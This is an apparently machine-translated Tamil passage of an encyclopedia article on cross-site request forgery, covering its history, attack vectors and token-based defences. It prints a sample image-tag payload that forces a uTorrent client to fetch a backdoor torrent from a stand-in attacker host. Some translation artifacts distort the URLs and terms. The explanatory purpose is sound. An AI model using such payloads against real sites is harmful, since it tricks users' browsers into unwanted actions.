Cross-site request forgery
குறுக்கு-தள கோரிக்கை மோசடி, ஒரு கிளிக் தாக்குதல் அல்லது அமர்வு சவாரி என்றும் சுருக்கமாக சி. எஸ். ஆர். எஃப் (சில நேரங்களில் கடல்-சர்ஃப் என்று உச்சரிக்கப்படுகிறது) அல்லது எக்ஸ். எஸ். ஆர். எஃப் என்றும் அழைக்கப்படுகிறது, இது ஒரு வலைத்தளம் அல்லது வலை பயன்பாட்டின் தீங்கிழைக்கும் சுரண்டலின் ஒரு வகையாகும், அங்கு இணைய பயன்பாடு நம்பும் பயனரிடமிருந்து அங்கீகரிக்கப்படாத கட்டளைகள் சமர்ப்பிக்கப்படுகின்றன. தீங்கிழைக்கும் வலைத்தளம் அத்தகைய கட்டளைகளை அனுப்ப பல வழிகள் உள்ளன; விசேஷமாக வடிவமைக்கப்பட்ட படக் குறிச்சொற்கள், மறைக்கப்பட்ட படிவங்கள் மற்றும் ஜாவாஸ்கிரிப்ட் பெட்ச் அல்லது எக்ஸ். எம். எல். எச். டி. டி. பி. ரிக்வெஸ்ட்ஸ், எடுத்துக்காட்டாக, அனைத்தும் பயனரின் தொடர்பு அல்லது அறிவு இல்லாமல் வேலை செய்ய முடியும். குறுக்கு-தள ஸ்கிரிப்டிங் (எக்ஸ்எஸ்எஸ்) போலல்லாமல், ஒரு குறிப்பிட்ட தளத்தின் மீது ஒரு பயனருக்கு இருக்கும் நம்பிக்கையைப் பயன்படுத்துகிறது, சிஎஸ்ஆர்எஃப் ஒரு தளம் பயனரின் உலாவியில் வைத்திருக்கும் நம்பிக்கையைப் பயன்படுத்துகிறது. ஒரு சி. எஸ். ஆர். எஃப் தாக்குதலில், ஒரு அப்பாவி இறுதி பயனர் ஒரு தாக்குபவரால் அவர்கள் விரும்பாத வலை கோரிக்கையை சமர்ப்பிக்குமாறு ஏமாற்றப்படுகிறார். இது இணையதளத்தில் கவனக்குறைவாக கிளையன்ட் அல்லது சர்வர் தரவு கசிவு, அமர்வு நிலையை மாற்றுவது அல்லது இறுதி பயனரின் கணக்கை கையாளுதல் ஆகியவற்றை உள்ளடக்கிய செயல்களைச் செய்யக்கூடும். "சி. எஸ். ஆர். எஃப்" என்ற சொல் சி. எஸ். ஆர். எஃப் தாக்குதல்களுக்கு எதிரான பாதுகாப்புகளில் சுருக்கமாகவும் பயன்படுத்தப்படுகிறது, அதாவது தலைப்பு தரவு, வடிவ தரவு அல்லது குக்கீகளைப் பயன்படுத்தும் நுட்பங்கள், அத்தகைய தாக்குதல்களைச் சோதிக்கவும் தடுக்கவும் பயன்படுத்தப்படுகின்றன. ஒரு சி. எஸ். ஆர். எஃப் தாக்குதலில், தாக்குபவரின் குறிக்கோள், ஒரு அப்பாவி பாதிக்கப்பட்டவர் அறியாமலேயே தீங்கிழைக்கும் வகையில் வடிவமைக்கப்பட்ட வலை கோரிக்கையை பாதிக்கப்பட்டவருக்கு சலுகை பெற்ற அணுகல் கொண்ட ஒரு வலைத்தளத்திற்கு சமர்ப்பிப்பதாகும். கோரிக்கையை செயலாக்கும் வலை சேவையகத்திற்கு இயல்பானதாகத் தோன்றும் URL அளவுருக்கள், குக்கீகள் மற்றும் பிற தரவுகளைச் சேர்க்க இந்த வலை கோரிக்கையை வடிவமைக்கலாம். பயனர் அங்கீகரிக்க வேண்டிய அவசியமில்லாமல் நம்பகமான மற்றும் அங்கீகரிக்கப்பட்ட பயனர்களிடமிருந்து உள்ளீட்டின் அடிப்படையில் செயல்களைச் செய்யும் வலை பயன்பாடுகள் ஆபத்தில் உள்ளன (எ. கா. ஒரு பாப்அப் உறுதிப்படுத்தல் மூலம்) குறிப்பிட்ட நடவடிக்கை. பயனரின் வலை உலாவியில் சேமிக்கப்பட்ட குக்கீயால் அங்கீகரிக்கப்பட்ட ஒரு பயனர், பயனரை நம்பும் ஒரு தளத்திற்கு அறியாமலேயே ஒரு HTTP கோரிக்கையை அனுப்பலாம், இதன் மூலம் தேவையற்ற செயலை ஏற்படுத்தலாம். வலை உலாவிகளின் பொதுவான பண்பு என்னவென்றால், அந்த களத்திற்கு அனுப்பப்படும் எந்தவொரு வலை கோரிக்கையிலும் கொடுக்கப்பட்ட களத்தால் பயன்படுத்தப்படும் எந்தவொரு குக்கீகளையும் (அமர்வு குக்கீகள் மற்றும் பிறவற்றை உள்ளடக்கியது) அவை தானாகவே மற்றும் கண்ணுக்குத் தெரியாத வகையில் உள்ளடக்கும். இந்த சொத்து சி. எஸ். ஆர். எஃப் தாக்குதல்களால் சுரண்டப்படுகிறது. ஒரு பயனர் தங்கள் உலாவி மூலம் கவனக்குறைவாக ஒரு கோரிக்கையை சமர்ப்பிக்கும்படி ஏமாற்றப்பட்டால், இந்த தானாக சேர்க்கப்பட்ட குக்கீகள் போலி கோரிக்கையை வலை சேவையகத்திற்கு உண்மையானதாகத் தோன்றும், மேலும் தரவைத் திருப்புவது, அமர்வு நிலையை கையாளுதல் அல்லது பாதிக்கப்பட்டவரின் கணக்கில் மாற்றங்களைச் செய்வது உள்ளிட்ட பொருத்தமாக கோரப்பட்ட செயல்களைச் செய்யும். ஒரு சி. எஸ். ஆர். எஃப் தாக்குதல் வேலை செய்ய, ஒரு தாக்குபவர் இலக்கு பக்கத்தில் ஒரு கணக்கு கடவுச்சொல்லை மாற்றுவது போன்ற ஒரு குறிப்பிட்ட செயலை செயல்படுத்தும் ஒரு இனப்பெருக்கம் செய்யக்கூடிய வலை கோரிக்கையை அடையாளம் காண வேண்டும். அத்தகைய கோரிக்கை அடையாளம் காணப்பட்டவுடன், இந்த தீங்கிழைக்கும் கோரிக்கையை உருவாக்கும் ஒரு இணைப்பை உருவாக்க முடியும், மேலும் அந்த இணைப்பை தாக்குபவரின் கட்டுப்பாட்டிற்குள் ஒரு பக்கத்தில் உட்பொதிக்க முடியும். பாதிக்கப்பட்டவர் இணைப்பைக் கிளிக் செய்ய வேண்டிய அவசியமில்லாத வகையில் இந்த இணைப்பு வைக்கப்படலாம். எடுத்துக்காட்டாக, பாதிக்கப்பட்டவருக்கு அனுப்பப்படும் மின்னஞ்சலில் இது ஒரு எச். டி. எம். எல் படக் குறிச்சொல்லுக்குள் உட்பொதிக்கப்படலாம், இது பாதிக்கப்பட்டவர் தங்கள் மின்னஞ்சலைத் திறக்கும்போது தானாகவே ஏற்றப்படும். பாதிக்கப்பட்டவர் இணைப்பைக் கிளிக் செய்தவுடன், அவர்களின் உலாவி தானாகவே அந்த வலைத்தளத்தால் பயன்படுத்தப்படும் குக்கீகளைச் சேர்க்கும் மற்றும் வலை சேவையகத்திற்கு கோரிக்கையைச் சமர்ப்பிக்கும். வலை சேவையகத்தால் மோசடியை அடையாளம் காண முடியாது, ஏனெனில் உள்நுழைந்து தேவையான அனைத்து குக்கீகளையும் சமர்ப்பித்த ஒரு பயனரால் கோரிக்கை விடுக்கப்பட்டது. குறுக்கு-தள கோரிக்கை மோசடி என்பது ஒரு வலை உலாவிக்கு எதிரான குழப்பமான துணை தாக்குதலுக்கு ஒரு எடுத்துக்காட்டு, ஏனெனில் வலை உலாவி குறைந்த சலுகை பெற்ற தாக்குபவரால் ஒரு போலி கோரிக்கையை சமர்ப்பிக்க ஏமாற்றப்படுகிறது. சிஎஸ்ஆர்எஃப் பொதுவாக பின்வரும் பண்புகளைக் கொண்டுள்ளதுஃ இது ஒரு பயனரின் அடையாளத்தை நம்பியிருக்கும் தளங்களை உள்ளடக்கியது. அந்த அடையாளத்தின் மீது தளத்தின் நம்பிக்கையை இது சுரண்டுகிறது. பயனர் ஏற்கனவே அங்கீகரிக்கப்பட்ட இலக்கு தளத்திற்கு HTTP கோரிக்கைகளை அனுப்ப பயனரின் உலாவியை இது தந்திரப்படுத்துகிறது. இது பக்க விளைவுகளைக் கொண்ட HTTP கோரிக்கைகளை உள்ளடக்கியது. வரலாறு சி. எஸ். ஆர். எஃப் டோக்கன் பாதிப்புகள் அறியப்பட்டுள்ளன மற்றும் சில சந்தர்ப்பங்களில் 2001 முதல் சுரண்டப்படுகின்றன. இது பயனரின் ஐபி முகவரியிலிருந்து மேற்கொள்ளப்படுவதால், சில வலைத்தள பதிவுகள் சிஎஸ்ஆர்எஃப் சான்றுகளைக் கொண்டிருக்காது. சுரண்டல்கள் குறைந்தபட்சம் பகிரங்கமாக புகாரளிக்கப்படவில்லை, மேலும் 2007 ஆம் ஆண்டு நிலவரப்படி நன்கு ஆவணப்படுத்தப்பட்ட சில எடுத்துக்காட்டுகள் இருந்தனஃ 2006 ஆம் ஆண்டில் நெட்ஃபிக்ஸ் வலைத்தளம் சி. எஸ். ஆர். எஃப்-க்கு ஏராளமான பாதிப்புகளைக் கொண்டிருந்தது, இது பாதிக்கப்பட்டவரின் வாடகை வரிசையில் டிவிடி சேர்ப்பது, கணக்கில் அனுப்பும் முகவரியை மாற்றுவது அல்லது கணக்கை முழுமையாக சமரசம் செய்ய பாதிக்கப்பட்டவரின் உள்நுழைவு சான்றுகளை மாற்றுவது போன்ற செயல்களைச் செய்ய தாக்குபவரை அனுமதித்திருக்கலாம். ஐ. என். ஜி டைரக்ட் இன் ஆன்லைன் வங்கி வலை பயன்பாடு சட்டவிரோத பணப் பரிமாற்றங்களை அனுமதித்த சி. எஸ். ஆர். எஃப் தாக்குதலால் பாதிக்கப்படக்கூடியதாக இருந்தது. பிரபலமான வீடியோ வலைத்தளமான யூடியூப் 2008 ஆம் ஆண்டில் சி. எஸ். ஆர். எஃப்-ஆல் பாதிக்கப்படக்கூடியதாக இருந்தது, மேலும் இது எந்தவொரு தாக்குபவரும் எந்தவொரு பயனரின் கிட்டத்தட்ட அனைத்து செயல்களையும் செய்ய அனுமதித்தது. மெக்காஃபி செக்யூரும் சி. எஸ். ஆர். எஃப்-ஆல் பாதிக்கப்படக்கூடியதாக இருந்தது, மேலும் இது தாக்குபவர்களை தங்கள் நிறுவன அமைப்பை மாற்ற அனுமதித்தது. இது புதிய பதிப்புகளில் சரிசெய்யப்பட்டுள்ளது. திசைவிகளின் டிஎன்எஸ் அமைப்புகளை மாற்றுவதற்கான முயற்சிகள் உட்பட, வலை-இயக்கப்பட்ட சாதனங்களுக்கு எதிரான புதிய தாக்குதல்கள் 2018 இல் மேற்கொள்ளப்பட்டன. சில திசைவி உற்பத்தியாளர்கள் பாதுகாப்பை மேம்படுத்த ஃபார்ம்வேர் புதுப்பிப்புகளை அவசரமாக வெளியிட்டனர், மேலும் ஆபத்தை குறைக்க திசைவி அமைப்புகளை மாற்ற பயனர்களுக்கு அறிவுறுத்தினர். "வெளிப்படையான பாதுகாப்பு காரணங்களை" மேற்கோள் காட்டி விவரங்கள் வெளியிடப்படவில்லை. பாதிக்கப்பட்டவர் உள்நுழையும் போது இலக்கு பக்கத்தில் ஒரு குறிப்பிட்ட செயலைச் செயல்படுத்தும் ஒரு மறுஉருவாக்கம் செய்யக்கூடிய இணைப்பைக் கண்டுபிடிக்கக்கூடிய எடுத்துக்காட்டு தாக்குதல்தாரிகள் அத்தகைய இணைப்பை அவர்கள் கட்டுப்படுத்தும் ஒரு பக்கத்தில் உட்பொதிக்கலாம் மற்றும் பாதிக்கப்பட்டவரை அதைத் திறக்க ஏமாற்றலாம். இலக்கு தளத்தில் உள்நுழையும் போது பாதிக்கப்பட்டவர் பார்வையிடக்கூடிய இடத்தில் தாக்குதல் கேரியர் இணைப்பு வைக்கப்படலாம் (எடுத்துக்காட்டாக, ஒரு கலந்துரையாடல் மன்றம்), அல்லது ஒரு எச். டி. எம். எல் மின்னஞ்சல் உடல் அல்லது இணைப்பில் அனுப்பப்படலாம். uTorrent (CVE-2008-6586) இல் உள்ள ஒரு உண்மையான CSRF பாதிப்பானது, உள்ளூர் ஹோஸ்டில் அணுகக்கூடிய அதன் வலை கன்சோல் என்ற உண்மையை சுரண்டியதுஃ 8080 ஒரு எளிய GET கோரிக்கையைப் பயன்படுத்தி முக்கியமான செயல்களைச் செய்ய அனுமதித்ததுஃ ஒரு. டொரண்ட் கோப்பைப் பதிவிறக்குமாறு கட்டாயப்படுத்துங்கள். இந்த பக்கங்களைத் திறக்கும் அதே நேரத்தில் பாதிக்கப்படக்கூடிய uTorrent பதிப்பை இயக்கும் நபர்கள் தாக்குதலுக்கு ஆளாக நேரிடும். படக் குறிச்சொற்களைப் பயன்படுத்தி சி. எஸ். ஆர். எஃப் தாக்குதல்கள் பெரும்பாலும் இணைய மன்றங்களிலிருந்து செய்யப்படுகின்றன, அங்கு பயனர்கள் படங்களை இடுகையிட அனுமதிக்கப்படுகிறார்கள், ஆனால் ஜாவாஸ்கிரிப்ட் அல்ல, எடுத்துக்காட்டாக பிபிசோட்ஃ [இம்க்] HTTP:// லோக்கல் ஹோஸ்ட்ஃ 8080/gui/? செயல் = ஆட்-யுஆர்எல் & எஸ் = http://evil.example.com/backdoor.torrent [/இம்க்] உள்ளூர் uTorrent பயன்பாட்டிற்கான தாக்குதல் இணைப்பை அணுகும்போது, உலாவி எப்போதும் அந்த களத்திற்கு ஏற்கனவே உள்ள குக்கீகளை தானாகவே அனுப்பும். வலை உலாவிகளின் இந்த பொதுவான பண்பு சி. எஸ். ஆர். எஃப் தாக்குதல்களை அவற்றின் இலக்கு பாதிப்புகளை சுரண்டவும், தாக்குதல் நேரத்தில் பயனர் இலக்கு வலைத்தளத்திற்குள் (இந்த எடுத்துக்காட்டில், உள்ளூர் uTorrent வலை இடைமுகம்) உள்நுழைந்திருக்கும் வரை விரோதமான செயல்களைச் செய்யவும் உதவுகிறது. மேலே விவரிக்கப்பட்ட uTorrent எடுத்துக்காட்டில், uTorrent இன் வலை இடைமுகம் முக்கியமான நிலை மாற்றும் செயல்பாடுகளுக்கு (நற்சான்றுகளை மாற்றுவது, ஒரு கோப்பைப் பதிவிறக்குவது போன்றவை) GET கோரிக்கையைப் பயன்படுத்தியது என்ற உண்மையால் தாக்குதல் எளிதாக்கப்பட்டது. ), இது வெளிப்படையாக ஊக்கமளிக்கிறதுஃ இந்த அனுமானத்தின் காரணமாக, வலை கட்டமைப்புகளில் தற்போதுள்ள பல சி. எஸ். ஆர். எஃப் தடுப்பு வழிமுறைகள் ஜி. இ. டி கோரிக்கைகளை உள்ளடக்காது, மாறாக மாநிலத்தை மாற்றும் நோக்கில் உள்ள எச். டி. டி. பி முறைகளுக்கு மட்டுமே பாதுகாப்பைப் பயன்படுத்துகின்றன. போலி உள்நுழைவு கோரிக்கைகள் தாக்குபவரின் நற்சான்றுகளைப் பயன்படுத்தி பாதிக்கப்பட்டவரை இலக்கு வலைத்தளத்திற்குள் உள்நுழைய ஒரு கோரிக்கையை தாக்குபவர் உருவாக்கலாம்; இது உள்நுழைவு சி. எஸ். ஆர். எஃப் என்று அழைக்கப்படுகிறது. உள்நுழைவு சி. எஸ். ஆர். எஃப் பல்வேறு புதுமையான தாக்குதல்களை சாத்தியமாக்குகிறது; எடுத்துக்காட்டாக, தாக்குபவர் பின்னர் தங்கள் முறையான நற்சான்றுகளுடன் தளத்திற்குள் உள்நுழையலாம் மற்றும் கணக்கில் சேமிக்கப்பட்ட செயல்பாட்டு வரலாறு போன்ற தனிப்பட்ட தகவல்களைக் காணலாம். இந்த தாக்குதல் கூகிள் மற்றும் யாகூவுக்கு எதிராக நிரூபிக்கப்பட்டுள்ளது. எச். டி. டி. பி வினைச்சொற்கள் மற்றும் சி. எஸ். ஆர். எஃப் வகையைப் பொறுத்து, எச். டி. டி. பி கோரிக்கை முறைகள் சி. எஸ். ஆர். எஃப் தாக்குதல்களுக்கு ஆளாகக்கூடிய வகையில் வேறுபடுகின்றன (வலை உலாவிகளால் அவை கையாளப்படுவதில் உள்ள வேறுபாடுகள் காரணமாக). எனவே, தாக்குதலுக்கு எதிரான பாதுகாப்பு நடவடிக்கைகள் HTTP கோரிக்கையின் முறையைப் பொறுத்தது. HTTP GET இல் CSRF சுரண்டல் அற்பமானது, மேலே விவரிக்கப்பட்ட முறைகளைப் பயன்படுத்துகிறது, அதாவது கையாளப்பட்ட அளவுருக்களைக் கொண்ட எளிய ஹைப்பர்லிங்க் மற்றும் தானாகவே ஒரு IMG குறிச்சொல்லால் ஏற்றப்படுகிறது. இருப்பினும், HTTP விவரக்குறிப்பின் படி, GET ஒரு பாதுகாப்பான முறையாகப் பயன்படுத்தப்பட வேண்டும், அதாவது பயன்பாட்டில் பயனரின் நிலையை கணிசமாக மாற்றக்கூடாது. அத்தகைய செயல்பாடுகளுக்கு GET ஐப் பயன்படுத்தும் பயன்பாடுகள் HTTP POST க்கு மாற வேண்டும் அல்லது ஆன்டி-சிஎஸ்ஆர்எஃப் பாதுகாப்பைப் பயன்படுத்த வேண்டும். சி. எஸ். ஆர். எஃப்-க்கு எச். டி. டி. பி போஸ்ட் பாதிப்பானது பயன்பாட்டு சூழ்நிலையைப் பொறுத்ததுஃ ஒரு வினவல் சரமாக குறியிடப்பட்ட தரவுகளுடன் (புலம் 1 = மதிப்பு 1 & புலம் 2 = மதிப்பு 2) சி. எஸ். ஆர். எஃப் தாக்குதல் ஒரு எளிய எச். டி. எம். எல் படிவத்தைப் பயன்படுத்தி எளிதாக செயல்படுத்தப்படுகிறது மற்றும் சி. எஸ். ஆர். எஃப் எதிர்ப்பு நடவடிக்கைகள் பயன்படுத்தப்பட வேண்டும். தரவு வேறு எந்த வடிவத்திலும் (ஜேஎஸ்ஓஎன், எக்ஸ்எம்எல்) அனுப்பப்பட்டால், சிஎஸ்ஆர்எஃப் தாக்குதல்களுடன் எக்ஸ்எம்எல்எச்டிபிஆர்க்வெஸ்டைப் பயன்படுத்தி ஒரு போஸ்ட் கோரிக்கையை வெளியிடுவது ஒரு நிலையான முறையாகும், அதே-தோற்றக் கொள்கை (எஸ்ஓபி) மற்றும் குறுக்கு-தோற்ற வளப் பகிர்வு (சிஓஆர்எஸ்) ஆகியவற்றால் தடுக்கப்படுகிறது; ENCTYPE பண்புக்கூறைப் பயன்படுத்தி ஒரு எளிய எச். டி. எம். எல் படிவத்திலிருந்து தன்னிச்சையான உள்ளடக்கத்தை அனுப்ப ஒரு நுட்பம் உள்ளது; அத்தகைய போலி கோரிக்கையை உரை/எளிய உள்ளடக்க வகையால் நியாயமானவற்றிலிருந்து வேறுபடுத்தலாம், ஆனால் இது சேவையகத்தில் செயல்படுத்தப்படாவிட்டால், சிஎஸ்ஆர்எஃப் மற்ற எச். டி. டி. பி முறைகளை (புட், டெலிட் போன்றவை) செயல்படுத்தலாம். சி. எஸ். ஆர். எஃப்-ஐத் தடுக்கும் அதே-தோற்றக் கொள்கை (எஸ். ஓ. பி) மற்றும் குறுக்கு-தோற்ற வளப் பகிர்வு (சி. ஓ. ஆர். எஸ்) உடன் எக்ஸ். எம். எல். எச். டி. டி. பி. ரிக்வெஸ்டைப் பயன்படுத்தி மட்டுமே வழங்க முடியும்; இருப்பினும், அணுகல்-கட்டுப்பாடு-அனுமதி-தோற்றத்தைப் பயன்படுத்தி அவற்றை வெளிப்படையாக முடக்கும் வலைத்தளங்களில் இந்த நடவடிக்கைகள் செயலில் இருக்காதுஃ * தலைப்பு சி. எஸ். ஆர். எஃப்-க்கான பிற அணுகுமுறைகள் கூடுதலாக, பொதுவாக ஒரு நிலையான வகை தாக்குதல் என்று விவரிக்கப்பட்டாலும், சி. எஸ். ஆர். எஃப் ஒரு குறுக்கு-தள ஸ்கிரிப்டிங் தாக்குதலுக்கான பேலோடைன் ஒரு பகுதியாக மாறும் வகையில் கட்டமைக்கப்படலாம், இது சாமிவோர்மால் நிரூபிக்கப்பட்டுள்ளது, அல்லது ஆஃப்சைட் உள்ளடக்கம் வழியாக கசிந்த அமர்வு தகவல்களிலிருந்து பறக்கையில் கட்டப்பட்டது மற்றும் தீங்கிழைக்கும் URL ஆக ஒரு இலக்கை அனுப்பப்பட்டது. அமர்வு நிர்ணயம் அல்லது பிற பாதிப்புகள் காரணமாக ஒரு தாக்குபவரால் ஒரு வாடிக்கையாளருக்கு சி. எஸ். ஆர். எஃப் டோக்கன்கள் அனுப்பப்படலாம், அல்லது ஆயிரக்கணக்கான தோல்வியுற்ற கோரிக்கைகளை உருவாக்கும் தீங்கிழைக்கும் பக்கத்தில் வழங்கப்பட்ட ஒரு முரட்டுத்தனமான தாக்குதல் மூலம் யூகிக்கப்படலாம். "டைனமிக் சி. எஸ். ஆர். எஃப்" இன் தாக்குதல் வகுப்பு, அல்லது அமர்வு-குறிப்பிட்ட மோசடிக்கு ஒரு கிளையன்ட் பேலோடைப் பயன்படுத்துவது, 2009 ஆம் ஆண்டில் நாதன் ஹமியல் மற்றும் ஷான் மோயர் ஆகியோரால் பிளாக்ஹாட் சுருக்கங்களில் விவரிக்கப்பட்டது, இருப்பினும் வகைபிரித்தல் இன்னும் பரந்த அளவில் ஏற்றுக்கொள்ளப்படவில்லை. டைனமிக் சிஎஸ்ஆர்எஃப் தாக்குதல்களை உருவாக்குவதற்கான ஒரு புதிய திசையன் ஜனவரி 2012 இல் உள்ளூர் ஓ. டபிள்யூ. ஏ. எஸ். பி அத்தியாயம் கூட்டத்தில் ஓரென் ஓஃபரால் வழங்கப்பட்டது-"அஜாக்ஸ் ஹேமர்-டைனமிக் சிஎஸ்ஆர்எஃப்". சி. எஸ். ஆர். எஃப் டோக்கன் பாதிப்புகளுக்கு விளைவுகள் தீவிர அளவீடுகள் வழங்கப்பட்டுள்ளன, இதன் விளைவாக ரூட் சலுகைகளுடன் தொலைநிலை குறியீடு செயல்படுத்தப்படுவதோடு ரூட் சான்றிதழை சமரசம் செய்யக்கூடிய பாதிப்பும் ஏற்படுகிறது, இது ஒரு பொது முக்கிய உள்கட்டமைப்பை முற்றிலும் குறைமதிப்பிற்கு உட்படுத்தும். வரம்புகள் குறுக்கு-தள கோரிக்கை மோசடி வெற்றிபெற பல விஷயங்கள் நடக்க வேண்டும்ஃ தாக்குபவர் பரிந்துரை தலைப்பைச் சரிபார்க்காத ஒரு தளத்தையோ அல்லது பாதிக்கப்பட்டவரை உலாவி அல்லது சொருகி மூலம் குறிவைக்க வேண்டும், இது பரிந்துரை செய்பவரை ஏமாற்ற அனுமதிக்கிறது. தாக்குபவர் இலக்கு தளத்தில் ஒரு படிவ சமர்ப்பிப்பு அல்லது பக்க விளைவுகளைக் கொண்ட ஒரு URL ஐக் கண்டுபிடிக்க வேண்டும், அது ஏதாவது செய்கிறது (எ. கா., பணத்தை மாற்றுகிறது, அல்லது பாதிக்கப்பட்டவரின் மின்னஞ்சல் முகவரி அல்லது கடவுச்சொல்லை மாற்றுகிறது). அனைத்து படிவங்கள் அல்லது URL உள்ளீடுகளுக்கான சரியான மதிப்புகளை தாக்குபவர் தீர்மானிக்க வேண்டும்; அவற்றில் ஏதேனும் ஒன்று தாக்குபவர் யூகிக்க முடியாத ரகசிய அங்கீகார மதிப்புகள் அல்லது ஐடி-களாக இருக்க வேண்டும் என்றால், தாக்குதல் பெரும்பாலும் தோல்வியடையும் (தாக்குபவர் தங்கள் யூகத்தில் மிகவும் அதிர்ஷ்டசாலி இல்லையென்றால்). பாதிக்கப்பட்டவர் இலக்கு தளத்தில் உள்நுழையும் போது தீங்கிழைக்கும் குறியீட்டைக் கொண்ட ஒரு வலைப்பக்கத்திற்கு தாக்குபவர் பாதிக்கப்பட்டவரை கவர்ந்திழுக்க வேண்டும். தாக்குதல் பார்வையற்றதுஃ இலக்கு வலைத்தளத்தில் குறுக்கு தள ஸ்கிரிப்டிங் அல்லது பிற பிழைகளை சுரண்டாவிட்டால், போலி கோரிக்கைகளுக்கு பதிலளிக்கும் வகையில் இலக்கு வலைத்தளம் பாதிக்கப்பட்டவருக்கு என்ன அனுப்புகிறது என்பதை தாக்குபவர் பார்க்க முடியாது. இதேபோல், அடுத்தடுத்த இணைப்புகள் அல்லது படிவங்கள் இதேபோல் கணிக்கக்கூடியதாக இருந்தால், தாக்குபவர் எந்தவொரு இணைப்புகளையும் குறிவைக்கலாம் அல்லது ஆரம்ப போலி கோரிக்கைக்குப் பிறகு வரும் எந்தவொரு படிவத்தையும் சமர்ப்பிக்கலாம். (ஒரு பக்கத்தில் பல படங்களைச் சேர்ப்பதன் மூலம் அல்லது கிளிக்குகளுக்கு இடையில் தாமதத்தை அறிமுகப்படுத்த ஜாவாஸ்கிரிப்டைப் பயன்படுத்துவதன் மூலம் பல இலக்குகளை உருவகப்படுத்தலாம்.) பெரும்பாலான சி. எஸ். ஆர். எஃப் தடுப்பு நுட்பங்கள் கூடுதல் அங்கீகாரத் தரவை கோரிக்கைகளில் உட்பொதிப்பதன் மூலம் செயல்படுகின்றன, இது வலை பயன்பாட்டை அங்கீகரிக்கப்படாத இடங்களிலிருந்து கோரிக்கைகளைக் கண்டறிய அனுமதிக்கிறது. ஒத்திசைவு டோக்கன் முறை ஒத்திசைவு டோக்கன் முறை (எஸ். டி. பி) என்பது ஒரு டோக்கன், ஒவ்வொரு கோரிக்கைக்கு ஒரு ரகசிய மற்றும் தனித்துவமான மதிப்பு, அனைத்து எச். டி. எம். எல் படிவங்களிலும் வலை பயன்பாட்டால் உட்பொதிக்கப்பட்டு சேவையக பக்கத்தில் சரிபார்க்கப்படும் ஒரு நுட்பமாகும். எதிர்பாராத தன்மை மற்றும் தனித்துவத்தை உறுதி செய்யும் எந்த முறையாலும் டோக்கன் உருவாக்கப்படலாம் (எ. கா. சீரற்ற விதைகளின் ஹாஷ் சங்கிலியைப் பயன்படுத்துதல்). இதனால் தாக்குபவரால் அவற்றை அங்கீகரிப்பதற்கான அவர்களின் கோரிக்கைகளில் சரியான டோக்கனை வைக்க முடியவில்லை. ஒரு எச். டி. எம். எல் வடிவத்தில் ஜாங்கோ அமைத்த எஸ். டி. பி. யின் எடுத்துக்காட்டுஃ <உள்ளீட்டு வகை = "மறைக்கப்பட்ட" பெயர் = "csrfmidlewaretoken" மதிப்பு = "KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt"/> எஸ். டி. பி மிகவும் இணக்கமானது, ஏனெனில் இது எச். டி. எம். எல்-ஐ மட்டுமே நம்பியுள்ளது, ஆனால் ஒவ்வொரு கோரிக்கையிலும் டோக்கனின் செல்லுபடியை சரிபார்ப்பது தொடர்பான சுமை காரணமாக சேவையக பக்கத்தில் சில சிக்கல்களை அறிமுகப்படுத்துகிறது. டோக்கன் தனித்துவமானது மற்றும் கணிக்க முடியாதது என்பதால், இது நிகழ்வுகளின் சரியான வரிசையையும் செயல்படுத்துகிறது (எ. கா. திரை 1, பின்னர் 2, பின்னர் 3) பயன்பாட்டு சிக்கலை எழுப்புகிறது (எ. கா. பயனர் பல கீற்றுகளைத் திறப்பார்). கோரிக்கைக்கு சி. எஸ். ஆர். எஃப் டோக்கனுக்கு பதிலாக ஒரு அமர்வுக்கு சி. எஸ். ஆர். எஃப் டோக்கனைப் பயன்படுத்துவதன் மூலம் இதை தளர்த்தலாம். பெரும்பாலான செயல்பாடுகளுக்கு ஜாவாஸ்கிரிப்டைப் பயன்படுத்தும் குக்கீ-டு-ஹெட்டர் டோக்கன் வலை பயன்பாடுகள் பின்வரும் சி. எஸ். ஆர். எஃப் எதிர்ப்பு நுட்பத்தைப் பயன்படுத்தலாம்ஃ தொடர்புடைய சேவையக அமர்வு இல்லாமல் ஒரு ஆரம்ப வருகையின் போது, வலை பயன்பாடு ஒரு குக்கீயை அமைக்கிறது. குக்கீயில் பொதுவாக ஒரு சீரற்ற டோக்கன் உள்ளது, இது வலை அமர்வு செட்-குக்கியின் ஆயுட்காலம் வரை ஒரே மாதிரியாக இருக்கலாம்ஃ _ _ ஹோஸ்ட்-csrf _ டோக்கன் = i8XNjC4b8KVok4uw5RftR38Wgp2Bfwql; காலாவதியாகும் = Thu, 23-ஜூலை 2015 10:25:33 GMT; மேக்ஸ்-ஏஜ் = 31449600; பாதை =/; சாம்சைட் = லாக்ஸ்; வாடிக்கையாளர் பக்கத்தில் செயல்படும் பாதுகாப்பான ஜாவாஸ்கிரிப்ட் அதன் மதிப்பைப் படித்து ஒவ்வொரு பரிவர்த்தனை கோரிக்கையுடனும் அனுப்பப்பட்ட தனிப்பயன் HTTP தலைப்பில் நகலெடுக்கிறது X-Csrf-டோக்கன்ஃ i8XNjC4b8KVok4uw ஒரு முரட்டு கோப்பு அல்லது மின்னஞ்சலில் இருந்து இயங்கும் ஜாவாஸ்கிரிப்ட் தனிப்பயன் தலைப்பில் நகலெடுக்க குக்கீ மதிப்பை வெற்றிகரமாக படிக்க முடியாது. குக்கீகள் சாம்சைட் கொள்கைக்கு உட்பட்டு, குக்கீ தானாகவே முரட்டு கோரிக்கையுடன் அனுப்பப்பட்டாலும், சேவையகம் இன்னும் செல்லுபடியாகும் தலைப்பை எதிர்பார்க்கும். சி. எஸ். ஆர். எஃப் டோக்கனே தனித்துவமாகவும் கணிக்க முடியாததாகவும் இருக்க வேண்டும். இது சீரற்ற முறையில் உருவாக்கப்படலாம், அல்லது இது HMAC ஐப் பயன்படுத்தி அமர்வு டோக்கனில் இருந்து பெறப்படலாம்ஃ csrf _ tocken = HMAC (அமர்வு _ tocken, பயன்பாடு _ ரகசியம்) CSRF டோக்கன் குக்கீயில் HTTPOnly கொடி இருக்கக்கூடாது, ஏனெனில் இது வடிவமைப்பால் ஜாவாஸ்கிரிப்டால் படிக்கப்பட வேண்டும். இந்த நுட்பம் ஜாங்கோ மற்றும் ஆங்குலார்ஜேஎஸ் போன்ற பல நவீன கட்டமைப்புகளால் செயல்படுத்தப்படுகிறது. டோக்கன் முழு பயனர் அமர்விலும் நிலையாக இருப்பதால், இது அஜாக்ஸ் பயன்பாடுகளுடன் நன்றாக வேலை செய்கிறது, ஆனால் வலை பயன்பாட்டில் நிகழ்வுகளின் வரிசையை அமல்படுத்தாது. பின்வரும் நுட்பங்களில் ஒன்றைப் பயன்படுத்தி 